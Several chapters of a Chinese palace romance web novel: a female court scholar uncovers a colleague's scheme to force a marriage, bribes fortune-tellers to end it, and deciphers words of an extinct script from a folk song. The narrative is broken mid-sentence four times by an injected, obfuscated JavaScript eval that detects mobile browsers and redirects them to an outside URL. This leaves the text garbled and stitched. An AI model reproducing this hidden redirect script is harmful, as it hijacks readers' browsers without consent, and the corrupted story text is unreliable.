秦典籍把闻长海拉到一边,小声说道:“如果我破解了几个文字,就分你一部分,算作是你跟我一起破解的,怎么样?如果我这几天没有破解出任何文字的话,我也会送你一百两银子。不过,你得告诉我一件事。” 闻长海惊讶道:“秦典籍,为何突然要给我这么大的好处?” “我只是有些事情想知道。我现在可以先给你五十两。” 说着,秦惜音递给闻长海一张五十两的银票。 闻长海有些惊讶,并没有接过来,说道:“秦典籍,如果您有事要问,直接问就是,我不会收你钱的。” “那我想问,你给我和顾清远作画,是你自己突发奇想吗?我和他的画像传得沸沸扬扬,是你不小心的,还是有意为之?顾清远请假了,究竟是真的相思成疾,还是觉得尴尬,想躲避此事?” “这……秦典籍难道没发觉,顾清远很喜欢您吗?” “我只是觉得他很有礼貌,没发觉别的。我跟他刚认识不久,事情已经闹大到不可收拾的地步。这究竟是巧合,还是有人在推波助澜?是不是宫里的某些势力,见不得我在宫里,所以要把我嫁出去? 还是说,你不小心让很多人看到了画像,所以导致大家都误会了? 你放心,只要你说出实情,我不会为难你的。答应你的一百两银子,我会如数给你。 还有,你应该知道我的实力。如果我真的在这几天破解出木羌族的几个文字,你难道不想占一份功劳吗?你不想在长官面前、在皇上面前露脸吗?” 闻长海欲言又止,似乎有些为难。 过了一会,他说道:“秦典籍,听您话中的意思,您似乎不想嫁给顾清远,对现在的情况很不满?” “对啊。我想知道是谁把我害到如此地步……当然,如果是你无心之失,我不会怪你。如果顾清远对我无意的话,我正好可以去找他,请他出面澄清。” 闻长海没有顺着秦惜音的话说下去,而是问道:“为什么?” “什么为什么?” “我是想问,为什么您会不满?难道,这不是一桩美谈吗?顾清远一表人才,各方面都很不错。您趁着大家都在讨论你们俩的时候,顺势嫁给他,一定是一桩佳话啊。” “什么美谈,什么佳话?你不觉得,这对我来说,是一个恐怖故事吗?” “恐怖?哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751631|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怖?我觉得,您各方面都跟顾清远很相配,如果你们能成亲,我也会感到高兴的。” “这是你的想法,也是很多路人的想法。可是,你们考虑过我的想法吗?还是说,你们这些男人,根本不认为女人也是有自己想法的?” 这句话把闻长海问住了。秦惜音的话,似乎触及了他的知识盲区。 在他一贯的认知里,一个男人追求一个女人,如果两人条件相配,就可以成亲,就是一桩美谈。 可是,在那些才子佳人的故事里,似乎从来没提到过,女人会有不一样的想法,女人会反抗。 为什么女人要拒绝一桩看起来完美的婚事?他还是不理解。 但是,他隐约能理解,面前的秦惜音,似乎不愿意顺水推舟嫁给顾清远,似乎有别的想法。 秦惜音看见闻长海困惑的神情,猜到了他心里所想,便说道:“闻学士,您养过小动物吗?” “养过。我养了两只猫。” “您是从哪里买的?” “从一间猫舍里。” “您去猫舍买猫的时候,每一只猫都看向您,都想跟您回家吗?” “那倒不是……有些猫好像很想被我买走,一直朝我喵喵叫……但也有些猫不理我,我走到它们身边,它们也不看我。” “连猫都会有不一样的想法,何况是人?难道每个被男人追求的女孩,都要答应那个男人吗?就算条件相配又怎样?那个女孩照样可以说一句‘我不喜欢’‘我不想要’。” 经过秦惜音的比喻,闻长海忽然明白过来。他发现自己犯了多大的错误,感到头皮发麻。 有些事情,明明很简单,很显而易见,他却一直没有意识到,这是为什么? 巨大的愧疚感笼上他的心头,他小声说道:“秦典籍,其实顾清远对你也并非全然的喜欢……还夹杂着一些算计。” 秦惜音皱眉:“什么?” “自从他发现你很有才华之后,就动了想娶你的心思。他觉得,你来当顾家的主母,一定能把顾家的下一代教得很好。我当时竟觉得,他这个主意不错。当然,我不是想害你……我是真的觉得,你嫁给他,很般配,你有了好的归宿,他也得到了自己想要的妻子,是双赢的…… 所以,我乐见其成……当然,现在我知道,这个想法错得离谱。 当时,顾清远叫我们帮他一把……于是,在你跟他见面的时候,我和一群朋友故意走过去,装作偶遇,对你们起哄。 后来,顾清远再次跟你见面,提出跟你一起研究古籍里没看懂的地方。他拖住你,跟你培养感情,我就躲在暗处为你们作画。 顾清远让我画两幅,一幅送给你,一幅留在集贤殿书院,直接放在桌上,让众人都看见。这样,就能加速你与他的关系…… 然后,他再称病,请假回家,让你找不到他。这样,你一个人面对巨大的舆论压力,可能会马上同意嫁给他,以免别人一直拿这件事打趣你。 最后,他还请求自己的舅父镇国公出面,求皇上赐婚。这样,你们的婚事就更加体面了。 顾清远是我的朋友,我只是想帮他娶到心仪的姑娘。但我没想到,这件事对你是不利的,你并不愿意……” 105. 有惊无险 秦惜音苦笑道:“真相原来是这样……我应该感谢顾清远如此看得起我吗?为了娶到我,他费了这么多心思……闻学士,你是无心之失,我不会怪你。 只是现在,我需要顾清远出面澄清此事,说一切都是误会,他并不想娶我。您能否帮我劝他?” 闻长海摇头道:“这恐怕不行……顾清远为了娶到你,做了这么多事,怎么可能轻易放弃?而且,我不能让他知道,我把真相告诉你了。否则,我跟他就没法做朋友了。” 秦惜音知道闻长海的难处,只得说道:“好吧,那我自己想办法。这是答应给你的一百两银票。” 闻长海没有收银票,只说道:“秦典籍,如果您真的破译了几个木羌族的文字,分我一两个就好了。” “好,这件事是早就说好的,我不会食言。” 秦惜音把自己的文具搬了过来,跟一群学士一起看木羌族的文字。 她以前从来没接触过木羌族的文字,觉得跟天书一般。 学士们已经破译了二十多个字,她对照着看,研究木羌族文字的规律。 这件事很耗费心神,但秦惜音心里总记挂着要顾清远出面澄清一事,心思不能集中,效率就更低了。 她决定,干脆先想办法让顾清远澄清误会,然后再来破译木羌族文字。 两件事一起干,哪件都干不好。 只是,她的时间不多。她必须在这两三天之内,让顾清远同意澄清误会。 如果再拖下去,她就没有时间来研究木羌族的文字了。 于是,她准备先离开集贤殿书院,回自己房间想办法。 这时,她看见闻长海走到一边,在抄录一些东西。 秦惜音走了过去,问道:“闻学士,你不专心破解木羌族文字,在这边抄写什么?” 闻长海道:“我妹妹想考女官,让我给她抄录一些文学知识,她好对照着复习。反正这木羌族文字不是一时半会能破解的,我干脆抄一些简单的知识,既能帮到我妹妹,也能休息一会。” 秦惜音灵光一闪,想到一个好主意。 她把闻长海拖到无人处,道:“我可以辅导你妹妹,直到她考上女官为止,我也不收钱。但是,你要答应我一件事。” 闻长海问道:“你是想让我帮忙劝顾清远?可是,就算我劝他了,他肯定也不会改变主意的。” “不,我是想让你帮我,让顾清远改变主意。不是采取劝说的方式,而是采取别的方式。你跟顾清远这么熟,应该很了解他吧?有什么事情能够威胁到他的?或者他家哪个长辈的话他一定会听?” 闻长海想了想,道:“你真的会一直辅导我妹妹?” “是的,你把她带到集贤殿书院来,我有空就过来教她。你应该知道,我当初考试时,是高分通过的。有我一对一辅导,她一定会更快考中女官。” “好,那我可以帮你……只是,你不能跟顾清远说,是我在背后帮忙。” “我明白。这么说,你已经想到主意了?” “是,我有一个主意,可以一试……” 闻长海小声说了几句话,秦惜音点了点头。 —————— 顾清远的母亲坐着马车,上街买东西。 这时,马车停住了,车夫说道:“夫人,前面人太多了,马车过不去。” 顾母问道:“怎么回事?前面怎么聚集了这么多人?” “好像前面有一个算命先生,听说他算命很准,很多人都围着他的摊子呢。” “我们也去看看。” 顾母下了车,走上前去。 只见那算命先生正在跟一个顾客说话:“你要赚钱的话,得往西南方去,从事的行业跟水有关,跟男人一起共事更好,最好不要跟女人共事。” 那顾客说道:“好的,谢谢先生。” 接着,又有一个顾客上前,问道:“先生,我家儿子要成亲了,您给算算,我儿子跟未来儿媳的八字合不合?” 算命先生道:“好,先把八字拿上来看看。” “给,在这里。” “她们两个比较相配,只是容易发生口角。吵架的时候切忌有第三人参与,让他们自己吵,没过多久就能好。掺和的人越多,反而会有越大的负面效果。其他方面没什么问题。” “好的,我明白了,谢谢大师。” 顾母心中一动,也挤上前去,说道:“大师,我家儿子也要成亲,你给我算算儿子和儿媳合不合。” “好的,那请夫人把她们两人的八字给我。” 顾母早就打听清楚秦惜音的八字,便把顾清远和秦惜音的八字都写了下来,递给那算命先生看。 算命先生看了之后,皱眉道:“这两人的八字相合,只是……” 顾母有些紧张:“只是什么?” “只是,女方的八字,似乎跟男方的父母相克。如果该女子嫁进来,对你们老两口的气运不利啊。” “真的吗?可是,我儿子很喜欢这个姑娘……” “他跟这个姑娘倒是挺相配的,子孙也昌盛,只是不利长辈……夫人,你们自己取舍吧。” 顾母闻言,忧心忡忡的。 她觉得不能让这个算命先生给吓住,决定去找另一个自己熟悉的算命先生问问看。 结果,另一个算命先生也说,秦惜音的八字对男方父母不利。 顾母回到家,把这事告诉了顾清远。 顾清远虽然不信这些,但万一秦惜音的命格真的跟自己的父母相冲的话…… 难道他要为了将来的子孙,不顾父母? 这可万万不行…… 正在这时,下人来报,说是宫中的秦典籍来了。 顾氏母子都是一惊。 顾母说道:“清远,你现在身体不好,先在房间休息吧。娘去接待秦典籍就行。” “娘,不知道她为何会来咱们家,莫非是……如果她询问婚事,咱们该怎么应对?” “那就……先拖一拖吧……” 顾清远点了点头,心乱如麻。他想娶秦惜音,但眼下又不能娶。他的心情矛盾极了。 顾母来到客厅,秦惜音已经坐着等候了。 顾母要给秦惜音行礼,秦惜音赶忙站起来,笑道:“顾夫人客气了。其实,我今日来,是有一件事,想找顾家的人商量。” 顾母道:“清远他……身体不好,暂时没法出来。秦典籍有什么事,跟我说也是一样。” 秦惜音装作不好意思地说道:“是这样的,我已经知道顾学士为何生病了,镇国公向皇上请求赐婚的事,我也知道了……论理,这桩婚事很好,我也不该挑肥拣瘦的。只是,很早之前,有个算命先生跟我说过,我命里不该早婚,最好三十岁之前都不嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751632|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 否则,我的命格很可能跟男方父母相冲。 虽然算命先生的话未必能全信,但涉及命理,还是宁可信其有…… 顾学士看得上我,我自然是很感激的。只是,也不能因此对顾老爷和顾夫人有所妨碍才是。 所以,我今日上门,是想着怎么把这件事给取消了。” 听见秦惜音也这么说,顾母对于命格相冲之说,更加深信不疑。 她有些担忧地说道:“算命先生所言,不无道理。恐怕,是我儿没有福气,才无法与秦典籍完婚……只是,这件事闹得挺大的,现在不知道该怎么收场。” “我觉得,只要顾学士出来澄清,说这是一场误会,就可以了。” “可是,这样会不会有损清远的名声?” “我想了个两全其美的主意。听说顾学士有位堂妹,早些年夭折了。您可以让顾学士对外公布,说是我长得像他那位早夭的堂妹,所以他才对我比较亲近,还送我礼物。但是,旁人不知道,以为他对我有男女之情。 顾学士知道旁人误会了,很后悔拖累了我的名声,因为愧疚才生病的,并不是什么相思成疾。毕竟,顾学士从来也没有当众说过他喜欢我。 所以,这件事还是有描补的空间的。只是,要劳烦顾学士费心解释了。” 顾母欣喜道:“这样最好……秦典籍,这件事是我们顾家拖累了您,还请您不要见怪……如果有什么可以弥补的,您尽管提。” “我倒也不缺什么,只是在宫中孤身一人,人情往来难免要花钱……” “这个容易,我让下人取银票来,赠给秦典籍。” “那就多谢顾夫人了。” 顾母给了秦惜音二百两银票,秦惜音收下了,然后告辞。 顾母亲自送到门口,还十分过意不去,一再对秦惜音道谢。 秦惜音快要笑出来了,拼命忍住。 接着,秦惜音准备回宫。 她往前走了一段路,忽然觉得有人在看她。 她凭感觉往旁边一看,竟然是高毅坐在不远处的酒楼里,一直看着她。 秦惜音忍不住笑了,赶紧跑到高毅身边。 高毅没有说话,只是拉着秦惜音的手,上了二楼包厢。 包厢里,摆放着秦惜音最喜欢的茶和点心,香炉里也点着她喜欢的陈化崖柏。 “哇,我正好饿了……” 秦惜音正准备去拿糕点,高毅却把她抱入怀中。 秦惜音让他抱了一会,想推开他,高毅却抱得更紧。 高毅在她耳边说道:“我差点以为我会失去你……” 秦惜音笑道:“怎么会呢?我可是机智勇敢的女官大人……” 高毅没有接话,秦惜音也就不再开玩笑了。她感觉到,高毅的情绪有些激动。 过了一会,高毅问道:“这几天究竟是怎么回事,你跟那个顾清远……” “那都是出于顾清远的算计……” 秦惜音把前因后果讲明了,然后说道:“总之,现在没事了。我买通了几个算命先生,现在顾夫人相信我会克她们,绝对不敢让她儿子娶我的。” 高毅闷闷地说:“为什么不同意?” “同意什么?同意嫁给顾清远?” “不是……我给你写的那封信……我说我也去皇上面前求娶你,你为什么不同意?” 106. 大胆推断 “你知道的,我想当女官……” “如果平时无事的时候,我自然不会中断你当女官的路……但这次情况特殊,如果我不抢着娶你,你很可能要被迫嫁给另一个人。” “我是觉得自己能处理好,不会被人牵着鼻子走……如果我完全没办法了,其实……其实会考虑提前我们的婚事的。总之,现在都过去了,我不会嫁给顾清远,我还讹了顾家二百两银子呢,哈哈哈……” “你还笑得出来。” 高毅无奈地刮了刮秦惜音的鼻子。 秦惜音笑道:“事情快解决了,我为什么笑不出来?高大人,这顿饭我请了,我现在可是有钱人。” 高毅放松下来,笑了笑,没说什么,默默地给秦惜音倒了一杯茶,又给她吃点心。 秦惜音随便吃了一些,就起身道:“我得回宫了。皇上说,我必须破译几个木羌族的文字,才许我继续当女官。我只有几天时间了,耽搁不得。” 高毅眉头一皱,道:“木羌族?这个民族早就灭亡了……这件事,我可能帮不上你,我也不懂木羌族的文字……” “没关系,我可以靠自己的……” 秦惜音时间紧急,高毅就不留她了,只是帮她理了理额头的碎发,说道:“保重自己,有事记得派人传信告诉我。” “知道了……对了,我的五十亩土地帮我租出去了吗?” “租出去了,这点琐事我早帮你打理好了,你别操心了。” “哦。” 秦惜音回到宫里时,已经是晚上了。 但是,她还是去集贤殿书院,研究木羌族的文字了。 这会很多学士都走了,书院里比较安静,倒适合秦惜音静静地思考。 木羌族已经灭亡几十年了,所以木羌族的话没有人会说了。 既然没有读音,只能凭借字形,去猜测那些字究竟是什么意思,难度就大了许多。 秦惜音想着,文字也是为了方便生活,才创造出来的。 如果她能了解木羌族人的生活习性、生活环境、常见的物品,应该可以猜出一些字的意思。 比如,木羌族人身为游牧民族,日常生活中肯定经常跟牛、马、羊打交道,还有草原、帐篷、弓箭等常见物品。她们吃的是炒米、牛羊肉、奶茶等食物,种类并不多。 所以,木羌族的文字应该没有汉字那么丰富。而他们的文字中经常重复的字,很可能就是马、牛、羊、弓、箭、雪之类的意思,可以有逻辑地去推测。 而且,游牧民族生活在辽阔的草原上,都喜欢唱歌。她们的歌声一般都用词简单,朗朗上口,而且也是押韵的。 如果能找到木羌族的民歌,加以研究,可能可以破译更多的文字。 于是,秦惜音决定先找跟一些木羌族相关的书看一下。 这一类的书,其他学士已经整理出来了,都堆放在一起。 秦惜音就一本一本地看过去。 其中有木羌族的账本、民歌、军事部署、民俗文化、菜谱等等,内容多样。 但是,目前破译出来的文字,也只有二十多个。 秦惜音把这二十多个字代入木羌族的原文,然后去猜测其他字是什么意思,就像做填空题一样。 只是,未知的字太多了,很难猜到。 她就先研究字最少的一本书,好像是一本民谣集,里面只有十首民谣。 每一首的字都不多,很少有超过三十个字的,最少的只有十几个字。 秦惜音盯着字数最少的那首民谣看。 那首民谣是12个字,其中只有一个字是已经被破译的,就是“马”字。它的位置在第八个字。 而且,这十二个字连在一起,也没有断句,不知道具体是怎么断句的,就类似于这样: ///////马////////(不认识的字,暂时用“/”代替) 秦惜音琢磨道:“十二个字的民谣,究竟是怎么断句的?最简单的断句方式,就是四个字一句,一共4句。但是,会这么简单吗?现在不知道这首民谣具体在唱什么内容,其中的字也只认识一个,难度实在太大了……” 少数民族的歌谣,不像汉族的诗歌那样有严格的韵律形式。汉族诗歌,或五字一句,比如“玉阶生白露,夜久侵罗袜”;或七字一句,如“风急天高猿啸哀,渚清沙白鸟飞回”;早期还有四字一句的,比如“呦呦鹿鸣,食野之苹。我有嘉宾,鼓瑟吹笙”。【注释1】 这些都有规律可循,即便是一个识字不多的人,拿到汉族的诗歌集,只要搞明白某首诗歌是几个字一句的,就很容易辨明句读。 而少数民族的诗歌,每一句都没有固定的字数,全凭他们自己的心意。这样,断句在任何地方都有可能,难度大大增加。 秦惜音又盯着这首民谣看了一会,发现第二个字、第六个字、第14个字的写法都是一样的,也就是说,它们应该是同一个字,类似于这样: /某///某/马/////某//(这几个相同的字,用“某”字替代,并不是说那个字是“某”的含义) 民谣一般通俗易懂,不会用太复杂的字,其中出现重复的字也属正常。 秦惜音试着在白纸上把这几个字重新排列,变成了这样: /某// /某/马 //// /某// 她看了一会,觉得这样断句比较合理。如果某几句诗歌里出现了相同的字,这些字的位置一般也会相同,这样比较朗朗上口,也比较好记。 比如《木兰诗》中有一句:“开我东阁门,坐我西阁床。脱我战时袍,著我旧时裳。” 这四个短句里面,每一句都有个“我”,而且“我”字都在第二个字。 再比如“我住长江头,君住长江尾”,每个短句里都有个“住”字,而且“住”的位置都在第二个字。 那么,这首民谣里连续出现三次的字,会是什么字呢? 会不会是“我”字? 这样会不会太简单了? 但是,现在处于假设的阶段,秦惜音决定大胆假设,那几个字就是“我”。 木羌族大部分人文化水平不高,而民谣是在民间传诵的,那用的肯定都是一些常见字,“我”字就是其中之一。 于是,她重新写下: /我// /我/马 //// /我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751633|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' // 这样看的话,最后一行的最后一个字,应该是跟“马”押韵的。 因为民谣虽然简单,但也会采用押韵的技巧,很少有不押韵的。 这首民谣既然收录在民谣集里,应该是比较经典的,传唱度比较高的。那么,就大胆假设它是押韵的。 那最后一个会是什么字呢? 跟“马”押韵的字并不多,而且有一些不适合用在歌谣里,比如寡淡的“寡”、千刀万剐的“剐”。 还有几个字比较复杂,木羌族的人应该也不会编进歌谣里,比如赭石的“赭”、大厦的“厦”、优雅的“雅”、“神降嘏福”的“嘏”。 如此一来,可供选择的字就更少了,比如舍、写、瓦、玛、假…… 秦惜音写下可能的字,在这几个字之间来回看…… 忽然,她想到了一则史料。 史料记载,木羌族人的姑娘喜欢以“卓玛”为名,所以“卓玛”是她们一个很常用的名字。 既然这样,这首民谣的最后两个字,会不会是“卓玛”? 那就变成了: /我// /我/马 //// /我卓玛 在这个基础上,继续假设下去。如果之前的猜测都是对的,那民谣的最后一句就是“/我卓玛”。 也就是说,四个字已经知道三个字了。 那第四句话的第一个字,究竟要是什么字,才能让这句话通顺呢? “是我卓玛”?“爱我卓玛”?“找我卓玛”?“叫我卓玛”? 似乎都有点不对劲…… 秦惜音又看向第二句话,第二句也有两个字已经知道了。 第二句是:/我/马。 那空缺的那两个字,究竟应该填什么? “让我骑马”?“帮我喂马”?“替我找马”?“骑我的马”? 读起来好像都有点别扭。 秦惜音喃喃道:“既然这是一首民谣,肯定是有主题的。或是歌颂上天,或是歌颂草原,或是思念祖先,或是劝人劳动……那这一首民谣,究竟是什么主题?第二句话和第四句话,肯定具有相关性,不可能各讲各的……那么,‘马’究竟要怎样和‘卓玛’产生关联? 马是一种动物,‘卓玛’是一个名字……” 秦惜音不停地思索着。 马……卓玛…… 我的马……我的卓玛…… 卓玛一般是女孩名…… 秦惜音灵光一闪:莫非这是一首求婚或示爱的歌谣? 最后一句话,说不定是“娶我卓玛”。 由于很多木羌族的姑娘都叫“卓玛”,“卓玛”就可以指代任意的木羌族少女。 这就像汉族文化中,“红娘”可以指代做媒的人,“梅香”可以指代婢女,“秋娘”可以指代歌姬一样。【注释2】 而无论是汉族还是少数民族,去求亲的时候一般都会骑马,也就对应了第二句话中提到的“马”。 既然是求亲,可能会提到自己带着一些聘礼,骑着自己的马,心里很期待,或是很欢快,即将要迎娶美丽的少女卓玛。 这样,也就跟这四句歌谣对应上了。 107. 澄清误会 第一句话,很可能是“带上我的礼物/聘礼”之类的意思。 由于第一句话只推断出来一个“我”,很难推测其他三个字是什么意思,暂时略过。 而第二句话,应该就是描述这个新郎骑着马去接新娘。 所以,第二句话很可能是“骑我骏马”“乘我大马”“骑我黑马”“骑我白马”之类的,具体的字暂时没法确定。但是,第二句话的第一个字,很可能代表“骑”或者“乘”,这样,范围就缩小了。 而第二句话的第三个字,八成是用来形容马的,但具体是什么字很难确定。唯一能确定的是,可能不是“骏马”,因为“骏”字比较复杂。当初编这首民歌的人,可能会用一些简单的字,比如“黑马”“灰马”“大马”“白马”“红马”等等。但是,黑、灰、白、大、红等字相去甚远,也没法立即确定。 第三句话,大概意思是在描述新郎欢快的心情,或是在描述新郎这一路上见到的风景,等等。由于第三句话的四个字都不知道是什么,所以现在也不能确定,只能根据歌谣的常理,推测出它大概是在写什么。 而第四句话,大概率就是“娶我卓玛”了。 秦惜音最有信心的,就是这第四句话。 如果自己真的猜对了,那么,她一下子就破译了四个字,进度已经完成了。 而且,她还能分一个字给闻长海。之前说好了,如果自己破译了一些文字,就分一部分给闻长海,反正至少要分一个字,以报答他的帮忙。 要确定自己猜得对不对,可以找别的文字资料来验证。 比如,她猜测某个字是“我”的意思,就去找其他的史料里有没有这个字,有的话,试着把“我”代入进去,看看通不通顺。 于是,秦惜音立刻投入到这个工作中去。 她找到了好几个字形相同,但是在别的文章或歌谣中出现的字,把自己猜测的字代入进去。 有的地方能说得通,也有的地方是不能确定的,因为不认识的字太多了。 但不论怎样,她越验证,就越觉得自己猜对了。即便不能打包票,也有六七分的可能是对的。 她打算等第二天其他学士们都来了,把自己的发现告诉大家。 忙了许久,她也累了,就先回房休息了。 离开之前,她留了个心眼,把自己刚才翻过的书都放回原位,自己写过字的那些纸,也都收起来,自己拿走了。 晚上,秦惜音按捺下激动的心情,逼自己入睡。 只有睡得好,第二天精神才能好。 她预感到,自己一下子猜测好几个字的意思,明天必有一番辩论,必须养精蓄锐才行。 第二天一早,秦惜音洗漱完毕,就来到了集贤殿书院。 书院里负责破译木羌族文字的学士一共三十个,秦惜音等人来得差不多了之后,才把自己昨天的发现告诉众人。 众学士都很惊讶,他们不信秦惜音能一下子破译四个字。 于是,秦惜音把自己推断的过程都告诉了学士们。 大部分学士都觉得秦惜音的推测有道理。于是,他们帮着秦惜音一同验证。 验证了一个早上后,众学士一致同意,说秦惜音所猜测的几个字,应该都猜对了。那首歌谣的最后一句,应该就是“娶我卓玛”。 至于第二句话,在大家的共同努力下,猜测出应该是“骑我大马”四个字。 这样,破译的文字一下子多了好几个,可以继续代入进那些比较长的文章或歌谣,去破译剩下的字。 一个老学士夸赞道:“秦典籍,您真是太厉害了,难怪皇上会派你来协助我们。年轻人的脑子就是好使啊,一晚上就破译出四个字。” 秦惜音笑道:“其实,那个‘我’字是闻长海学士提示我的,我也是在他的基础上,破译了其他几个文字。所以,闻学士也有功劳。” 大家又开始夸赞闻长海,闻长海有些不好意思,向秦惜音投去感激的目光。 过了一会,闻长海单独把秦惜音拉到一边,说道:“秦典籍,我突然觉得,抢走你的功劳挺难为情的。以后你破译出来的文字,就别说成是我破译的了。今天这个‘我’字,我就承你的情。以后我会报答你。 我一个大男人,还要从女人那里抢功劳,挺不好的。” 秦惜音笑道:“没关系,这是我们之前说好的。” “我昨天确实是对破译文字的功劳有点心动,但你真的把功劳分给我,我才发现我没这个脸去拿……总之,以后你不必分功劳给我了。要不然,我都没脸在这里待下去了。” “好吧,那就听你的。” 大概中午时分,顾清远也来了。 大家看到顾清远,都露出意味深长的笑容。 其中有个学士打趣道:“喂,顾清远,你不是病了吗?听说秦典籍在这里,你的病又好了?还能跑过来干活了?” 顾清远赶紧解释道:“其实,大家都误会了……我跟秦典籍不是你们想的那样。她长得像我早夭的堂妹,所以我之前才对她比较亲近。怪我没说清楚,有损秦典籍的名声。 总之,大家以后别乱传谣言了。” 听顾清远这么说,众人都很惊讶。 但是,大家也不好再说什么。 秦惜音放下心来,心情很好。 现在,皇上让她办的三件事,她都办到了。 破译木羌族文字最难,但她竟然一下子破译了四个。 接下来还剩三天时间,她决定继续努力,多破译几个字。 这样,说不定自己会有更多的好处。 顾清远澄清完毕后,脸色有点白,坐到自己的位置上干活。 大概是因为他觉得有些丢脸,也一直没有抬头看别人。别人跟他说话,他也是三言两语就结束了对话,兴致不高。 而秦惜音的位置跟他相隔比较远,两人可以不必接触。 相信随着时间的推移,两人之间的尴尬氛围会越来越小。 也有一些陌生的学士跑到秦惜音身边,小声询问她,顾清远所说的是不是真的。 秦惜音都回答道:“确实如此,我跟顾学士之间不是你们想的那样。我也为了之前的流言,去顾家拜访过。顾学士和他的父母都亲自对我解释了,我长得确实像顾学士早夭的堂妹。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751634|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 见秦惜音也这样说,一些喜欢撮合别人的人也都不说什么了,只是心里觉得有点可惜而已。 接下来的几天,秦惜音继续认真研究木羌族文字,竟然又破译了8个字。加上之前的几个,一共破译了11个字。 五天时间结束后,秦惜音把自己的成果告诉皇帝,皇帝十分高兴。 皇帝对秦惜音说道:“秦典籍,接下来你继续破译木羌族文字,其他事情都不用管。等这项工作完成,朕一定重赏你。” 秦惜音欣喜道:“谢皇上。” 几天后,冷宫的宁太妃穿着红衣出嫁了。她现在已经不是废妃,去送嫁的人都称她为宁姑姑。 秦惜音也带着几个朋友去送行。 宁氏的本名叫宁淑景,她挽着秦惜音的手,有些激动地说:“惜音,没有你,就没有我的今日……以后若有重逢之日,我一定会报答你的。” 秦惜音亦有些动容,说道:“宁姑姑,以后我若是出宫了,一定会去看您。” “好,就这么说定了。” 宁淑景把自己的新住址交给了秦惜音。那个住址,是她年轻时和情郎一起买的房子,预备着成亲用的。 没想到,时隔五十多年才用上。 以后,她会和情郎的牌位一起住在里面。 远处,也有一些妃嫔、宫人在看着这边,窃窃私语,神情似乎在看热闹。 毕竟,废妃出嫁,也算是一桩奇闻了。 宁淑景没有理会那些不善的目光,光明正大地从皇宫正门走了出去。 五十多年前,她是被人打晕了,抬进来的。 现在,她终于走出去了。 当年的她花容月貌,如朝阳初升; 如今的她垂垂老矣,如夕阳西照。 宫门的一开一合之间,转眼便是五十余年的悲辛。 送别宁淑景后,秦惜音继续回集贤殿书院干活。 她几乎每天都会见到顾清远,顾清远每次都不敢直视她,她反而大大方方地打招呼,心中毫不在意。 顾清远大概是因为偷鸡不成蚀把米,心态大受影响,这些天工作上也频频出错,被上级责骂。 秦惜音心中暗暗高兴,面上却没表现出来。 与之相反的是,秦惜音这边的工作进展却一片向好,她跟学士们合作,又破译了好几个木羌族的文字。 闻长海也偷偷把自己的妹妹带来,安置在一间空屋子里,让妹妹学习。 集贤殿书院的空屋子也挺多的,他妹妹随便选一间,也无人打扰。 秦惜音有空的时候,就会去辅导那个小姑娘。 闻长海的妹妹叫闻玉蟾,长相也是平平,一张圆圆的大脸,五官却不大,皮肤黝黑,跟闻长海长得有几分相似。 不过,闻玉蟾挺有才华的,也自小喜欢读书。所以,秦惜音辅导起她来,倒也不费劲。 离下一次的女官考试还有两个月,秦惜音觉得,闻玉蟾应该能考上。 又过了几日,是秦惜音休沐的日子。 她先回了自己的房间,收拾一下。一会她打算出门见高毅。 这时,却有人来访。 108. 招摇撞骗 秦惜音抬头一看,来人是太后殿的一等宫女逢春。 她跟逢春也是好久没见了,开心地说道:“逢春姐姐,你怎么来了?” 逢春笑道:“我来看看你,顺便给你送一条我新做的手帕。” 说着,逢春把手帕交给秦惜音。 秦惜音看了之后,非常喜欢,说道:“谢谢逢春姐姐。对了,两个月之后又有女官考试,到时候你来参加吧。我估计这次你能考上。” “嗯,我会来的……其实,我还有一件事想跟你说。” “什么事啊?” “你们司籍司有一个女史叫金萝,你对她熟悉吗?” “还算熟悉吧……她怎么了?” “她最近好像打着你的旗号,骗了一些小宫女的钱。” 秦惜音惊讶道:“骗钱?怎么骗的?” “金萝跟一些小宫女说,她跟你关系很好,以姐妹相称。只要她来你面前说一声,让谁通过考试,谁就能通过考试。于是,有一些想考女官的小宫女,就给金萝塞钱,金萝照单全收。 